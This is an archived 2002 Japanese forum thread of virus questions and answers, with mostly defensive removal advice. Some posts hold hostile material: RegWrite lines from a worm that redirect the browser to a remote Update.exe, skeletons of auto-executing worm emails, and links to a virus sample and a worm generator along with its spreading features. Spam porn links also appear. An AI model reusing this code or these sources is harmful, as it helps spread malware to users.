☆ウィルス情報＆質問　総合スレッド☆part2

ウィルスに関わる話題・質問はこちらに

IPAセキュリティセンターhttp://www.ipa.go.jp/security/isg/virus.html
Symantec Security Response http://www.symantec.com/region/jp/sarcj/
Trend Micro ウイルス情報 http://www.trendmicro.co.jp/virusinfo/index.asp
McAfee ウイルス情報 http://www.nai.com/japan/virusinfo/vinfo.asp
オンラインウイルス検索http://housecall.antivirus.com/housecall/start_jp.asp

[関連リンク]過去ログ・関連スレ等>>1-20あたり 補足>>1-50

・ウィルス用ソフトを入れて無い人は(知識や技術のある人を除いて)速やかに入れましょう

(win)[Ctrrl]+{F}キー (mac){コマンド}+{F}キーを押すとページ内検索が出来ます
このスレや過去スレの過去ログを検索してから質問してください

過去スレhttp://pc.2ch.net/test/read.cgi/sec/999636595/l50
☆ウィルス情報＆質問　総合スレッド☆ http://pc.2ch.net/test/read.cgi/sec/1010948022/l50

Symantec Security Check
http://security2.norton.com/SSC/GetBrowser.asp?pkj=TICCYSHSFVIGMKIIPLB&scantype=2&plfid=20&langid=jp&venid=sym&from=/ssc/lunavbrk.asp
オンラインウイルス検索http://housecall.antivirus.com/housecall/start_jp.asp

[ウィルス対策ソフト]
【ノートン】インターネットセキュリティ2002 Ver.7 http://pc.2ch.net/test/read.cgi/sec/1016506322/l50
ウイルスバスター２００２ Part3 http://pc.2ch.net/test/read.cgi/sec/1016076378/l50
マカフィーってだめなの！PART3 (不明)
がんばれ!!ウイルス警備隊Ｖ３ http://pc.2ch.net/test/read.cgi/sec/1005442785/l50

[ウィルス対策ソフト（無料）]
無料AntiVirus【AntiVirPE/AVG/Antidote簡易版】http://pc.2ch.net/test/read.cgi/sec/1015584020/l50
H+BEDV Antivir Personal Edition Part2 http://pc.2ch.net/test/read.cgi/sec/1016561367/l50
AVG Anti-Virus http://pc.2ch.net/test/read.cgi/sec/1001835534/l50
アンチドートを語ろう♪ http://pc.2ch.net/test/read.cgi/sec/1003987914/l50

最強のウィルス対策用ソフト http://pc.2ch.net/test/read.cgi/sec/1000957607/l50

「森で遊ぼう」
(ファイヤーウォールソフト・無料ウィルス用ソフト等セキュリティ関係解説サイト
ダウンロードページのリンク　日本語解説ページあり)
http://eazyfox.tripod.co.jp/


・IE(インターネットエクスプローラ)やOE(アウトルックエクスプレス)は危ないと感じた人達へ
ネスケ（ネットスケープコミュニケータ）を使用するという手段があることも念頭にいれておいてください
http://home.netscape.com/ja/

新種のウィルスが流行したときは専用スレのリンクよろしくお願いします

「Nimda !! 」【その４】 http://pc.2ch.net/test/read.cgi/sec/1001864573/l50
猛威をふるう BADTRANS.B　Re: メール （４通目）http://pc.2ch.net/test/read.cgi/sec/1008355163/l50
HDぜんぶ消去した上ズタズタに！！ウィルス http://pc.2ch.net/test/read.cgi/sec/1001662997/l50
Flashムービーに感染するウィルスが登場！ http://pc.2ch.net/test/read.cgi/sec/1010564675/l50
'code red'wormに続きw32/sircam http://pc.2ch.net/test/read.cgi/sec/995726416/l50
W32.Aliz.Wormって何？ http://pc.2ch.net/test/read.cgi/sec/1006266327/l50
またIEにセキュリティホール！ http://pc.2ch.net/test/read.cgi/sec/1008610094/l50
開いただけでウイルスに感染するページhttp://pc.2ch.net/test/read.cgi/sec/994847789/l50
WORM_GONE.A http://pc.2ch.net/test/read.cgi/sec/1007514716/l50
Ｍａｃ用ウイルス対策ソフト　http://pc.2ch.net/test/read.cgi/sec/1007675941/l50
virus下さい。http://pc.2ch.net/test/read.cgi/sec/996909531/l50
みんなでウイルスつくろうよ！！http://pc.2ch.net/test/read.cgi/sec/1008248305/l50　
[初心者必見]分かりやすいnimda対策ページhttp://pc.2ch.net/test/read.cgi/sec/1001407163/l50
ウィルスくれよ。サーカムとか。http://pc.2ch.net/test/read.cgi/sec/996425178/l50
コードレッドパート5 日本政府は反省汁http://pc.2ch.net/test/read.cgi/sec/997783469/l50
KDMEMPKD.EXEってなに？ http://pc.2ch.net/test/read.cgi/sec/1011333304/l50
怪奇画像（怖い女）が一定感覚で現れる症状 http://pc.2ch.net/test/read.cgi/hack/1011083919/l50
気持ち悪い女の顔がhttp://pc.2ch.net/test/read.cgi/sec/1012037926/l50
今日最新のウイルスって・・・！！(Myparty) http://pc.2ch.net/test/read.cgi/sec/1012220835/l50
HDぜんぶ消去した上ズタズタに！！ウィルス ２台目http://pc.2ch.net/test/read.cgi/sec/1012296560/l50
破損、トロイ、ウィルス入り ４ http://tmp.2ch.net/test/read.cgi/download/1016806114/l50
【ネット】『C』で記述した初のウイルスが登場http://news.2ch.net/test/read.cgi/newsplus/1015048480/l50
ダイヤルQ2か国際電話に接続を切り替えるやつhttp://pc.2ch.net/test/read.cgi/isp/1010717649/
＜IT＞CからZドライブを全て上書きするFinal Fantasyワームhttp://news.2ch.net/test/read.cgi/newsplus/1015938003/l50

検索窓にファイル名等を入力して利用。
基本中の基本だけど、ワクチンベンダーごとに、ウイルスの命名は違う。

Symantecウイルス辞典日本語版
http://www.symantec.com/region/jp/sarcj/vinfodb.html
Symantecウイルス辞典英語版（日本語版と微妙に内容が異なる事がある）
http://www.symantec.com/avcenter/vinfodb.html

TrendMicroウイルス情報
http://www.trendmicro.co.jp/vinfo/

McAFEEウイルス情報
http://vil.mcafee.com/default.asp?

【ウィルス警報】patch.exeに注意しる！http://pc.2ch.net/test/read.cgi/sec/1016082075/l50

おつかれー。>>1

ところで、ウィルスソフトベンダのページにある情報って、感染時の症状と
駆除方法が主で、アンチウィルスソフトがない状態でどんなウィルスか
見分けるための情報があんまり載ってないんだけど、たとえば、Hybris は
Content-Type: multipart/mixed; boundary="--VE**********"
というヘッダがあって、添付ファイル名が AB****AB.EXE だとか、
Content-Type: multipart/mixed; boundary="Boundary-a8dfidaoRadvfuck"
というヘッダがついていれば FBound だとか、こういう特徴を集めたページって
どこかにありませんかね？

セキュリティ問題の修正プログラム - 2002 年 3 月 4 日
ダウンロード サイズ: 5.2 MB, 3 分
この修正プログラムによって、Windows XP および Windows Millennium Edition
(以下、Windows Me) の Microsoft virtual machine (Microsoft VM) に存在する
「Java アプレットがブラウザ トラフィックをリダイレクトする」脆弱性
(セキュリティ番号 MS02-013) が修正されます。
今すぐダウンロードして、不正に作成された Java プログラム (アプレット)
によって、ブラウザ トラフィックがアプレットのホストへユーザーに気づかれないように
転送されることがないようにしてください。

下の三つのリンク死んでるよー。
次に立てる時は入れないように注意してね。

--
KDMEMPKD.EXEってなに？ http://pc.2ch.net/test/read.cgi/sec/1011333304/l50
【ネット】『C』で記述した初のウイルスが登場http://news.2ch.net/test/read.cgi/newsplus/1015048480/l50
ダイヤルQ2か国際電話に接続を切り替えるやつhttp://pc.2ch.net/test/read.cgi/isp/1010717649/
--

>>9
大丈夫　dat落ちしてるだけです
しばらく寝かせておけばhtml化されます

＜IT＞ご注意！チェック済み装うウイルス「マイライフＢ」http://news.2ch.net/test/read.cgi/newsplus/1016802914/l50

ADSLユーザーにも 国際電話発信トラブルhttp://pc.2ch.net/test/read.cgi/sec/1016106504/l50

【勝手にDLし勝手に実行！ひとりエッチ上手なIE6】http://pc.2ch.net/test/read.cgi/sec/1016485189/l50

ＩＥ５・５と６・０、ネット閲覧ソフトに欠陥http://pc.2ch.net/test/read.cgi/sec/1005605775/l50

【ウィルス警報】patch.exeに注意しる！http://pc.2ch.net/test/read.cgi/sec/1016082075/l50

まぁ待てや。
話を整理する人間がいないのにリンクだけをビシバシ貼り付けられても
今ひとつ、というか今みっつ役にたたんのだが。
というか、ここはウィルス情報 & 質問スレだ。

PE_Mtx.A, WORM_MTX.A　に犯されました。http://pc.2ch.net/test/read.cgi/sec/1015939831/l50
(出戻り)

開いただけでウイルスに感染するページhttp://pc.2ch.net/test/read.cgi/sec/994847789/l50

>>7
まだ前スレが現役だから質問は前スレでお願いします
http://pc.2ch.net/test/read.cgi/sec/1010948022/l50

と思ったら　気づいたら951越えてるし
余計なこと言ったかな・・・

>>19
現役なのはまずいので、とっとと沈めてしまいたいのですが。

ウィルスに感染していることは間違い無いようです。
しかし、ノートン先生（NIS2002）の最新版(LIVE UPDATE済)でも、
シマンテックやトレンドマイクロのオンラインスキャンでも、
ウィルスは検出されません。
ファイル名は判っています。
C:windows\system32\svchost.exeです。
不定期にインターネットにアクセスします。
BlueCodeやSMALLFEGでもないようです。
レジストリ
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
で削除する対象が見つからないので。
ＯＳはＸＰです。
CTRL+ALT+DELでプロセスを確認すると、SVCHOST.EXEが４つあります。
ユーザー名は
・SYSTEM２つ
・LOCAL SERVICE
・NETWORK SERVICE
で、強引にプロセスの終了をすると、WINDOWSがシャットダウンします。
誰かわかる方がいらっしゃれば、駆除方法をご教授ください。

>>22
http://www.google.co.jp/search?hl=ja&q=svchost.exe+XP+%83C%83%93%83%5E%81%5B%83l%83b%83g%81@%90%DA%91%B1&lr=lang_ja

>>22
svchost全部殺せばwindowsがシャットダウンするのは当然。
つーか、ウィルスでも何でもない。

yahooチャットで親友だと思っていた人にＩＰ抜かれました(涙
その人のＩＰ抜き返したいのですが、どうすればよいのでしょうか？
ノートン　インターネットセキュリティーでもわかるでしょうか？
　　　　

>>25
IP抜き返した後にどんな行動するつもりか聞かせてくれれば教えたる。

マルチし過ぎ

えぇ〜と
たんに、そいつに「ＩＰの抜きかたわかったぞ！！」って
そいつにメールする(そいつのＩＰも買いて)

教えてくれないのですか？

>>25
　スレ違い。IP知られたくないんならチャットすんなよ(´ー`)y-~~

　スマソ、IPじゃなくてIPアドレスな(´ー`)y-~~

洋物をCD-Rに焼こうとして、セカンドマシンにファイルを移動させたら。
間違って拾い物のEXEファイルも一緒に。
気付かずに何気に実行してまった（鬱

ノートン、今なんだか検出力弱くない？
リアルタイムスキャンで引っかからなかったんだけど。
アプデート失敗してたかな。

漏れだけ？

>>32
リアルタイムスキャン？　オンラインスキャンのこと？
そんなもんに頼ってるの？

>>33
リアルタイムスキャン=常駐スキャンの意味で、用語を使ったんだけど。
それに依存はしていない。でも最後の砦みたいな。
NT系だから常駐させても動作はさほど重くないよ、メモリー多ければ。

ファイルをフォルダごと検索してもウイルス検出されなかったのが、ダブルクリックしたら検出、なんて事もよくあるからね。

それと、オンラインスキャンは使ってない。

>>33
アプデートと言ってるぐらいだから違うと思われ。

やっぱこれ↓がもの凄く理解不能だ。

>リアルタイムスキャン？　オンラインスキャンのこと？

どう考えたらこうなるんだか…まさしく謎ですな。
それとも「オンラインスキャンは信用できない」ようなところにテーマをもっていくところからして、
なにかオンラインスキャンに恨みでもあるのだろうか。感染してんのに検出してくれなかったとか。

それでもないのに勝手に「そんなもん」呼ばわりとはなかなかのツワモノですな(w
かくいう俺もオンラインスキャンは使っていないが、web上に必要なサービスのうちの一つだと思うんだがなぁ・・・

>>36
別に理解してくれなくて結構よ

>>36
ただ単に間違えただけじゃないのか？

半角も全角もﾏﾀｰﾘしる

>>36
それは>>33にしか理解できない

すいませんﾏﾀｰﾘしましょう

　

すいません。
情報システム板の者です。

情報システム板に、
「セキュリティ企業に入ってクラッカーをやりたかった」
　http://mentai.2ch.net/test/read.cgi/infosys/1016970109/
などと言い出すトンデモ君が現れたので、
諸兄のお力で、小一時間程説教をしていただけないでしょうか？

>>42
こういうのは放置が一番ですよ。

>>42
ここってウイルススレなんだけど。
ホスティングサービスの一環として、それ系の企業に依頼して、自社鯖をハッキングしてもらうサービスってあるけど。

あ、漏れ勘違いしてた。

申し訳ありません、他のスレに御質問を書くべきでした。

>>44 タイガー・チーム、とか、セキュリティ検査とか言いませんか？

>>46
>>42は質問だったのか？荒らし依頼にしかみえないんだが。

>>47 違いますが... もっと、きちんとした説明をすればよかったですね。

弟のPCをいぢってたら、C:WINDOWS\KILL.EXEとかゆーのがあったんですけど、何者ですか？
コワヒ…。

フリーメールに差出人不明の空メールが送られてきました。
これってどんなやつ？

>>50
そんなやつ。

>>49
弟に聞いてください。

>>51　知識の無い人には聞いていません。引っ込んでてください。（しかもつまらないです）

>>50
どんなやつってどんなやつ？

本日送られてきたメール、ヘッダはこれで
Received: by mail55.nifty.com id 3c9e513d588e20;
Mon, 25 Mar 2002 07:20:45 +0900
Received: from Mbuduvrpc
by mail532.nifty.com (8.12.2/3.7W-02/25/02) with SMTP id g2OMKMHC019082
for <*****@**.****.ne.jp>; Mon, 25 Mar 2002 07:20:23 +0900
Date: Mon, 25 Mar 2002 07:20:22 +0900
Message-Id: <[email protected]>
From: roko-k <[email protected]>
To: *****@**.****.ne.jp
Subject: Meeting notice
MIME-Version: 1.0
Content-Type: multipart/alternative;
boundary=Z4ci9iB2997611io1W21782I268
Status: U
X-UIDL: 1017008445.22670.mailbox

中身はHTMLメールで、添付ファイルにTARGET.EXE。
ソースは以下のようなものが来たのですが…
ウイルスなのか、アダルト系の怪しいメールなのか。
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<HTML><HEAD></HEAD><BODY>
<iframe src=3Dcid:Z8HWiwXrl0Z7q height=3D0 width=3D0>
</iframe>
<FONT></FONT></BODY></HTML>

--Z4ci9iB2997611io1W21782I268
Content-Type: audio/x-midi;
name=TARGET.exe
Content-Transfer-Encoding: base64
Content-ID: <Z8HWiwXrl0Z7q>

>>55
長いコピーの貼りつけ要らないよ。
邪魔。

>>55
ひとりごと？

http://www.ebcvg.com/binary2.php
の
Win32.Mimee
http://www.ebcvg.com/sections/binary/Win32.Mimee.zip
−−−−−
short description :
w32.mimee is written in visual basic 6 and targets .eml files... when executed, it spawns
mime.exe in c:\, searches for .eml in harddrive and infects them by adding itself as an
attachment.. .eml files which are saved in rich text (html), whether or not they contain
attachments, will be successfully infected by w32.mimee... .eml files that are saved in plain
text and are having one or many attachments will also be infected by the virus... .eml files
that are saved in plain text and are containing no attachments won't be successfully infected...

win32.mimee inserts a signature in files that it infects so they won't be reinfected..
no registry modifications are made by the virus...

written just to personally discover the possibility of infecting .eml files...
alcopaul
03/07/2002
−−−−−
Symantec Security Response Automation システムは提出されたファイルを分
析しましたが、悪意があるコードを見つけませんでした。
もし我々に提出したファイルで感染した疑いがあるならば、テクニカルサポー
トにご連絡してください。

邪魔

邪魔
邪魔
邪魔
邪魔
邪魔
邪魔
邪魔
邪魔
邪魔
邪魔

>49=53
http://www.google.co.jp/search?q=cache:wpGJV47--JEC:www.fukumi.co.jp/tips/win_nt_rk.htm+C:WINDOWS+KILL.EXE&hl=ja&lr=lang_ja

検索しような・・・・・

>>61　素人は黙れ。ここは上級者が初級者に教えてやるスレなんだよ。ﾎｰｹｰ野郎が

>62
で？

>>62
ホーケー
http://videovirgin.com/users/gleb/tgp1/eve/pics/010.jpg
http://videovirgin.com/users/gleb/tgp1/eve/pics/011.jpg
http://videovirgin.com/users/gleb/tgp1/eve/pics/012.jpg
http://videovirgin.com/users/gleb/tgp1/eve/pics/013.jpg
http://videovirgin.com/users/gleb/tgp1/eve/pics/014.jpg
http://videovirgin.com/users/gleb/tgp1/eve/pics/015.jpg
http://videovirgin.com/users/gleb/tgp1/eve/pics/016.jpg

>>59
Сифилис передается половым путем. Бытовым сифилисом
в основном заражаются дети при условии тесного контакта
с больными родителями. Да и то, если только у них есть
заразные проявления на слизистых оболочках рта, на губах.
Никакими рукопожатиями подхватить болячку нельзя. Чтобы
это сделать, придется как минимум расковырять язвочку.
Что касается поцелуев, то если нет поражений слизистой во рту,
целуйтесь на здоровье. Таблетки как средство профилактики
и лечения не применяются. Защита, как всегда,
- презерватив или антисептики (гибитан, мирамистин).

>>65
なるほど、あなたもそうなんですか。
実は私もIE６使ってると途中でアイコンが黒ぬき白抜きになって
ハングアップしてしまいます。これってウイルスの仕業なのか単に
別のソフトとの相性が悪いのか私もわからないんです。
脳トン先生に調べてもらっても検出されません。
誰かわかる方教えてください。
ドイツの方でもアフリカの方でもかまいません。
かまいません。

　

月に一度くらいの頻度で、前触れもなく
HDDに激しくアクセスして、音楽が鳴り出して
操作不能になるんですが、これってウイルスの仕業なのでしょうか？
チェックには引っかからないんですが。
なにか情報ありませんか？

本体無しで添付書類IMG＿0135.JPGだけのメールが届きます。
受信してる時は２メガくらいありますが、書類は３３ｋです。
書類は開きません。

本文無しとかじゃなくて、本体無し。メールが届いた形跡が無いのです。
そのうえ何回受けてもサーバーのメールフォルダから消えません。

フォルダを一度削除して、もう一度作り直してみたんだけど、
また（まだ？）そんな感じになってます。
ウィルスなのかなんなのか分からないんですけど、
もう完全にお手上げなのでなにか心当たりがあったら教えてください。
お願いします。

konnichiwa
kono syashin mite ne !!!!!!

というメッセージがアドレス帳に登録した人全員に送信されてるんですが、
このウイルスが何かわかりますかね？
ちょいと依頼を受けたのですが、あまりに資料が少なすぎるというか…。
あとは、IE6がおかしくなったらしいです。
OEを起動するたびにメールは送信されるとのこと。
がんばって調べているのですがどうもうまく探せずという有様。

心当たりがある方、よければ情報および資料サイト教えていただけないでしょうか。

Return-Path: <****@******>
Delivered-To: ***@********
Received: (qmail 2015 invoked from network); 25 Mar 2002 01:54:48 -0000
Received: from ********* (HELO *****.***.**.***) (210.171.*.***)
by ii23.dico.co.jp with SMTP; 25 Mar 2002 01:54:48 -0000
Received: from pcvlseries (hccd37dcae4.bai.ne.jp [211.125.202.228])
by ****.**.**.jp (8.11.4/3.7W) with SMTP id g2P1siJ15350
for <***@********>; Mon, 25 Mar 2002 10:54:44 +0900 (JST)
From: "Leo Nishimitsu" <*****@********>
To: "=?iso-2022-jp?B?GyRCQjxFRDd7QkBPOhsoQg==?=" <***@*******>
Subject: konnichiwa
Date: Mon, 25 Mar 2002 10:44:44 +0900
Message-ID: <001b01c1d39e$a3c56240$e4ca7dd3@****>
MIME-Version: 1.0
Content-Type: text/plain;
charset="iso-2022-jp"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000

ヘッダです。ちなみに、添付ファイルはありませんでした。

>>70
まず、オンラインスキャン。

IEStartっていうウイルスに感染しました。
マカフィーのウイルススキャンを事前にインストールしてたんだけど
ウイルス発見のウインドウが出てきて駆除ボタンを押したら
削除に成功しました。ってなったんで一安心。
でスタートページの設定を元に戻して再起動をかけると
またエロページに繋がっちゃうんです。
何度やっても駄目なんですけどどうしたら（・∀・）ｲｲ!! か教えて欲しいです。

>>68 まずはウィルススキャン。特定の日に発病なら以下参照。
http://www.symantec.com/region/jp/sarcj/calendar/mar_2002.html

>>73
１．[スタート]−[ファイル名を指定して実行] から msconfig を起動する。
２．[スタートアップ] タブをクリックし、上半分の行のチェックを解除し
て「OK」をクリックする。
３．Windows を再起動する。
４．問題が解消した場合、上半分のいずれかの行が問題なので、2. で解除
したチェックを半分戻して Windows を 再起動する。
問題が続く場合、下半分のいずれかの行が問題なので、残ったチェックの
さらに半分を解除して Windows を再 起動する。
５．上記を繰り返して問題の行を特定する。
６．特定した行のチェックを外し、他を元の状態にすればOK。できれば特
定したファイルを削除。

>>72
ネット接続もできないらしいです。
送信されるメールのヘッダとメッセージから調べるのはやはり不可能でしょうか…

なんか、厨房具合を肩代わりしてる俺。
堪忍してください。

>>76 アンチウィルスソフト買いに行け！

ナマでパコパコ！！！！
インターネット＝ソープランドのマンコ
パソコン＝チンコ

これでもナマでヤリますか？

淋、蔵まみれになりますか？

>>69
メーラー何よ、一体。。。。
ウイルスメール受信後に感染すると、最初にとどいた本体を削除するVilliもあった気がするけど、忘れた。でもそれじゃなさそうだし。

ひょっとして、本文等にウイルスがくっついているのを、アンチウイルスソフトのメール保護機能が検知して削除したんだけど、サーバーにそのメールが残っているって話かな。Badtrans.B等でたまにある。

OEでパッチ無しという前提で書くけど（とりあえず）。
メーラーのプレビューウインドウを使わないように設定。
メーラーの設定から、受信したメールをサーバーに残さないように設定。
アンチウイルスソフトのメール保護機能を使わないように設定。
そして受信。
受信後、そのメールを削除。
アンチウイルスソフトのメール保護機能をオンに戻す。

その「開かない書類」、何なんだろうか。

>>70

これだね
http://biztech.nikkeibp.co.jp/wcs/show/leaf?CID=onair/biztech/prom/176720

>>76
漏れのリストには無いです。
HTMLメールの本文に「何か」を仕込んでいるのかと思うけど。
メールのソースを見れば、「何か」は載ってるよ、多分。
OEやOutlook利用者なのに、メーラーの設定を制限サイトにしていなかったのかな。

ありきたりだけど、scanreg /restore
（だってさ、どこが変更されているのかわからないんだから、レスしようがない。）
もちろんアンチウイルスソフトの利用も。

>>80
チェック漏れ補完、多謝。
vbsって拡張子、使わないなら日頃から外しておけばいいのに、ってよく思う。

>>80
＞「アンナ・クルニコワ・ウイルス」の変種である。

VBSWG絡みっちうこときゃ？

んぢゃ、漏れは
件名「itteyoshi」
添付「omaemona.jpg.vbs」でも流すかにょ。

アンナクルニコワ、漏れなら絶対開けそうな名前。
WGで作った奴って、全て自動的に検出できるんじゃなかったっけ、既存のアンチウイルスソフトで。

おやぁ？

>>80
http://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=VBS_LEE.D
VBS/Anjulie.gen@MM, リー, I-Worm.Lee-Based, Bloodhound.VBS.Worm, VBS.VBSWG.GEN

Bloodhoundって用語はバスターも使ってるのか？

また、ワームはInternetExplorerのホームページの設定をアダルトサイトのURL
http://it.geocities.com/windows2it/index.htm
に変更してしまいます。

汚染を除去しました。

Shl.RegWrite("HKLM\\SOFTWARE\\Microsoft\\Internet Explorer\\Search\\SearchAssistant", "http://www.kogalu.com/sou/logon/Update.exe");
Shl.RegWrite("HKLM\\SOFTWARE\\Microsoft\\Internet Explorer\\Search\\CustomizeSearch", "http://www.kogalu.com/sou/logon/Update.exe");
Shl.RegWrite("HKLM\\SOFTWARE\\Microsoft\\Internet Explorer\\Main\\Search Page","http://www.kogalu.com/sou/logon/Update.exe");
Shl.RegWrite("HKLM\\SOFTWARE\\Microsoft\\Internet Explorer\\Main\\Start Page","http://www.kogalu.com/sou/logon/Update.exe");
Shl.RegWrite("HKLM\\SOFTWARE\\Microsoft\\Internet Explorer\\Main\\Default_Page_URL","http://www.kogalu.com/sou/logon/Update.exe");
Shl.RegWrite("HKLM\\SOFTWARE\\Microsoft\\Internet Explorer\\Main\\Default_Search_URL","http://www.kogalu.com/sou/logon/Update.exe");
Shl.RegWrite("HKLM\\SOFTWARE\\Microsoft\\Internet Explorer\\Plugins\\PluginsPage","http://www.kogalu.com/sou/logon/Update.exe");
Shl.RegWrite("HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\SafeSites\\ie.search.msn.com","http://www.kogalu.com/sou/logon/Update.exe");
Shl.RegWrite("HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\SafeSites\\search.bisextop.com","http://www.kogalu.com/sou/logon/Update.exe");

関　連: IRC_LEE.D
感染報告有無: あり
発病条件 1: ファイル実行時
破壊活動 1: システム改変 ：IEのホームページ変更
発見日: 2002/03/25
対応日: 2002/03/25
対応パターンファイル: 250
(パターン番号について)
言　語:
日本語
発見場所:
日本
http://www.trendmicro.co.jp/vinfo/virusencyclo/glossary.asp#place_of_origin

>>85
Bloodhound.VBS.Wormは、Norton利用時に未知VBSウイルスを検出した時に付けられる名前。

>84
うむ。
んぢゃ、直でｿｰｽいぢくったのかにょ？
暗号化無しっちうこた、ｴﾝｸﾘﾌﾟﾀ使ってないにょ。
それかﾆｭｰｽ記事自体が少し練りが甘いのかにょ。。
・・・・よくわからんにょ。。。

>>85
んだよ、別名でVBS.VBSWG.GENあるぢゃねか。
・・・・ｱｳｱｰ

>>90
喰らった人がアンチウイルスソフト使っていなかったのか、それともWGの新バージョンが出たのかも。

明日あたりになればわかるかな。
ゴホゴホ（インフルエンザの咳+痰

>>89
バスターの未知ウイルスの名前は？
−−−−−
Virus Creation Tools (54)
http://vx.netlux.org/dat/vct.shtml
これを使った!!!!!!!!
VBS Worm Generator http://vx.netlux.org/dat/tv07.shtml

Worm backup: It's just for having a copy of the worm in a safe place,
so you can be shure that it will no be lost.
Outlook Replication: Send as attachment: It uses the same function that
all the vbs's, js's or any other kind of worm, it sends a message,
that you can define, whit te worm attached to every preson in the user's address list.
Send in html code: The worm is added to the html code of the message,
so, when the person views it, they'e infected!
Mirc replication: Search for mirc.ini(what means that the mirc is there)
in the most commons floders(programfiles\mirc, c:\mirc, c:\mirc32) and if it is found,
the worm create "script.ini" in that folder,
that script make the mirc sends the worm to every person
that join to a channel. (see "If found Mirc, infect.")
Infect Files: The worm will search for all the hard drives
(and the network drives too, i think) for files whit the extencion
that you want(in this version only .vbs and vbe are searched)
and copy overwrite him whit itself.

>>93
>>バスターの未知ウイルスの名前は？
さあ、何だっけ。。。。。

そこ見たら、WG2bの修正版が出てるんだね〜いつの間にか。
一応拾っておく。週末遊びますかぁ。

>>73
亀だけど。
インターネットオプションから「ホームページ」を書き直すだけでOK。
実はマカフィーが"駆除した"て言った時点でもう既に直ってるんよ。

ていうかとっくに解決してるんだろうけど一応ね…

>スタートページの設定を元に戻して再起動をかけると

ん??あれれ??これはどうなんだろうか。
インターネットオプションの「ホームページ」を書き直した後に、
ファイル名指定→"regedit"でレジストリエディタを起動させて、
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main
の"Startpage"が「ホームページ」で指定したURLになってるかどうか調べてみたほうがいいかも。

で、ちゃんと指定したURLに変ってても再起動したらダメな場合は、
ファイル名指定→"msconfig"で、win.ini→windows→"load= "と"run= "も調べた方がいいかな??
ついでにスタートアップタブ以下も。
でも駆除したってんなら、普通は書き換えられたのを元に戻せばそれでOKなはずなのに。
IEstartは余計な書き込みしないハズだし…

しかしなかなか直らなくてメンドウならば、DOSモードで起動→"scanreg restore"でレジストリをまるまる復元。

とまぁ……なんか、独り言みたいだ(;´Д｀)ﾊｧﾊｧ

↑ぁヮヮ、しかも間違ってる…
×scabreg restore→○scanreg /restore

汚してすいません逝ってきますんで(;´Д｀)

最後っ屁させてくださいおながいします(_ _(--;(_ _(--;)ペコペコ

>>97について

×scanreg restore→○scanreg /restore

に訂正。
垂れ流しのまんまだと気持ち悪いんで…
何度も汚してすいません今度こそ逝ってきますんで(;´Д｀)ﾊｧﾊｧ…

ほれ http://www.google.co.jp/search?hl=ja&q=WINDOWS+KILL.EXE&btnG=Google+%8C%9F%8D%F5&lr=lang_ja

100

おはよう。具合悪くて寝汗凄いっす。

>>98
IESTART、ひょっとしてJSじゃなくてVBSの方だったからかな、駆除失敗って。
だったら「スタートアップフォルダ」に直接vbsファイルが放り込まれるらしいし。
これだと「個別のファイル」だから、アンチウイルスソフトで駆除できずに手動で削除が必要だから。

ネタ元
http://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=VBS_IESTART.B

こんなの捕獲した。ファイルサイズは79949
AVG
Program version: 6.0.343
Virus DataBase: 190
では検出できず。

Subject: Darling
MIME-Version: 1.0
Content-Type: multipart/alternative;
boundary=Yo60Va8b5078n9It29910831k111J11u09v

--Yo60Va8b5078n9It29910831k111J11u09v
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<HTML><HEAD></HEAD><BODY>
<iframe src=3Dcid:R7Qn49D6hzlM7lxl7 height=3D0 width=3D0>
</iframe>
<FONT></FONT></BODY></HTML>

--Yo60Va8b5078n9It29910831k111J11u09v
Content-Type: audio/x-midi;
name=この.pif
Content-Transfer-Encoding: base64
Content-ID: <R7Qn49D6hzlM7lxl7>

>>79
メールはポスペ（そのうえマック）で受信しました。
パッチとかセキュリティ関係はまったく手を入れてません。

メーラーがおかしいのかと思い、複数のメーラーでテストしてみましたが
どれも同じ結果でした。ポスペ以外では書類も見えなかったけど・・・。

WINの方で再チャレンジしてみようかな。

>>103
ポスペ使った事ないからわからんけど。
メーラーって、メル受信後にそのメルを鯖に残すか削除するか、設定できるよね。

そこがどうなってるのかが知りたい。

>>102
ふむふむ。
MIMEがX-MIDIだとセキュリティ機能働かずに実行されるバグ突いて
pif を実行させようってか。なるほど、実物見るのは初めてだ。

気になって寝られないぞ、おい。

trojanっていうのに音楽のファイルを400曲分全部
訳のわからないスクリプトに変えられました。
あと、Outlookを勝手に立ち上げようとばっかりします。
オンラインスキャンでウイルスはなくせたのですが、
だめになってしまった音楽のファイルを
復活させる方法ってあるんでしょうか？？

>>107
一つの可能性だけど、
・マシンはそのまま、絶対電源落とさない。Windows終了も駄目。
その後
・Final Data ってソフト買ってきてインストールして復活させてみる
・Nortonのファイル復活機能を使ってみる
なんか思いつくけど。
ただまぁ、ファイル上書きされたのだからほぼ絶望的だとは言っておく。

>>107
多分無理。
でも、もしそのファイルをどっかにコピーした時、大本のファイルがあって、それをあとから削除したとするよね。

するとFinalDataで拾えるかもしれない。

>>109
フォローありがと。

>>110
漏れもコツコツ集めた金髪画像の大半を失った過去があるから（泣

帰宅してからデスクトップマシンのノートン先生に聞いてみたら、w32.klez.a@mmつーことだった。
添付ファイル名に日本語使えるように進化したらしい。

>>112
検出名がKLEZ.Aのままなんだ。
ちょと違うは全然違うのに。

>>113
スマソ、検出名はちょっと違うかも。
いまノートン入れてあるデスクトップは、別OSで作業中だから確認できず。

>>114
漏れもこういうややこしい体験はした事、まずないんだけど。
KLEZ系、微妙に改変された変種が多いし。

ばらまいてるのは、MX関連のﾔｼなのかな。

>>115
そうなの？？？？？
じゃあ、ノートン先生頻繁に定義ファイルアップデートしても
全然安心できないじゃにょ？

KLEZ.Eだった。

アプリケーションを起動する時にほとんど毎回
「●●.exeはメモリ不足のため起動できませんでした」
とか出るんですが一体何なのでしょうか？
↑の●●はいつも英文字と数字のまじったランダムな文字列なんです。
最近TROJ_KLEZ.Eに感染してしまって、自分では駆除し終えたつもりなんですが
もしかしてまだ駆除しきれていないんでしょうか・・・

